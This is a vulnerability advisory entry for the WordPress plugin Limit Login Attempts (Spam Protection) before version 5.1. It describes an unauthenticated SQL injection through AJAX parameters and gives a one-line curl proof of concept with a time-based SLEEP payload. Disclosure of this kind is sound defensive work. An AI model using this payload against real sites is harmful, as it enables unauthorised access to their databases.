WordPress Plugin Vulnerabilities
Limit Login Attempts (Spam Protection) < 5.1 - Unauthenticated SQLi
Description
The plugin does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections
Proof of Concept
order and columns parameters are affected curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT 7382 FROM (SELECT(SLEEP(5)))ameU)'
Affects Plugins
Fixed in 5.1 References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-02 (about 2 years ago)
Added
2022-03-02 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
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